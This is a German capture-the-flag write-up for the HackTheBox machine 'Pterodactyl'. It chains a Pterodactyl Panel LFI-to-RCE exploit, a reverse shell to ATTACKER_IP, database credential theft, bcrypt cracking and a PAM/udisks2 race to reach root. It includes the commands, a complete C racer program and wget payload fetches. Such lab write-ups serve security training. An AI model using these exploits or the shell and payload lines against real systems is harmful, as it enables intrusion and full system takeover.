
HTB Season 10 - Pterodactyl Maschinen-Writeup. Medium Linux-Box, die CVE-2025-49132 (Pterodactyl Panel RCE) und CVE-2025-6018/6019 (udisks2 Privilege Escalation) behandelt.
Schwierigkeit: Mittel | Betriebssystem: Linux (openSUSE Leap 15.6) | Saison: 10
Pterodactyl ist eine Linux-Maschine mittlerer Schwierigkeit, die das Pterodactyl Game-Server-Panel betreibt. Die Angriffskette umfasst eine nicht authentifizierte LFI-zu-RCE-Schwachstelle im Panel, die Extraktion von Anmeldeinformationen über MySQL, das Knacken von bcrypt-Hashes für SSH-Zugriff und eine Zwei-CVE-Privilegienausweitungskette, die PAM-Session-Injection und einen udisks2-XFS-Resize-Race-Condition ausnutzt.
Flags:
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
Offene Ports:
| Port | Dienst | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
Wichtige Erkenntnisse aus dem Changelog:
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
| Einstellung |
|---|
CVE-2025-49132 betrifft Pterodactyl Panel ≤ v1.11.10. Der Endpunkt /locales/locale.json übergibt die Parameter locale und namespace direkt an PHPs include(), ohne Bereinigung oder Authentifizierung, was Directory Traversal und eine auf Pearcmd basierende RCE ermöglicht.
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
Ausgabe: uid=474(wwwrun) gid=477(www) groups=477(www)
| Dienst | Benutzername | Passwort |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# Listener
nc -lnvp 4444
# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| Benutzername | Hash |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
Ergebnis: phileasfogg3 : !QAZ2wsx
ssh [email protected]
# password: !QAZ2wsx
sudo -l
(ALL) ALL ist konfiguriert, aber die Defaults-Option targetpw erfordert das Root-Passwort – was den normalen sudo-Missbrauch blockiert.
CVE-2025-6018 missbraucht pam_env.so auf openSUSE, um zur Anmeldezeit Umgebungsvariablen zu injizieren. Durch Platzieren von XDG_SEAT=seat0 und XDG_VTNR=1 in ~/.pam_environment kann ein entfernter SSH-Benutzer Polkit dazu bringen, seine Sitzung als aktive lokale Konsolensitzung (allow_active) zu behandeln, wodurch Hardware-Management-D-Bus-Aktionen freigeschaltet werden.
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]
# Verify
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
CVE-2025-6019 nutzt ein fehlendes nosuid-Flag in libblockdev aus, wenn udisks2 während eines Filesystem.Resize-D-Bus-Aufrufs vorübergehend ein XFS-Image einhängt. Durch einen Wettlauf, um in diesem Zeitfenster eine SUID-Binärdatei innerhalb des Images auszuführen, kann ein unprivilegierter Benutzer mit allow_active-Polkit-Rechten eine Root-Shell erhalten.
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
Auf Angreifer übertragen, SUID-Binärdatei injizieren, zurück übertragen:
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
Ergebnis: Root-Shell erhalten.
id
# uid=0(root)
cat /root/root.txt
[Nmap] Ports 22, 80
↓
[Web-Enumeration] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun-Shell
↓
[MySQL] pterodactyl:PteraPanel → bcrypt-Hashes
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active-Umgehung
↓
[CVE-2025-6019] udisks2-XFS-Resize-Race → SUID-Ausführung → ROOT
| Dienst | Benutzername | Passwort |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / Panel | phileasfogg3 | !QAZ2wsx |
Writeup von [kareem elsheikh] | HackTheBox Saison 10
| Wert |
|---|
| Bedeutung |
|---|
register_argc_argv | On | Ermöglicht Pearcmd-CLI-Ausnutzung |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | pearcmd.php erreichbar |
open_basedir | (kein Wert) | Uneingeschränkter Dateisystemzugriff |
| Werkzeug | Zweck |
|---|
| nmap | Port-Scanning |
| dirsearch | Web-Verzeichnis-Brute-Force |
| CVE-2025-49132 Exploit | Unauth LFI + pearcmd RCE |
| hashcat (-m 3200) | Bcrypt-Knacken |
| CVE-2025-6018-6019 PoC | PAM-Umgehung + udisks2-Race |
| Custom C racer | Nosuid-Race-Condition gewinnen |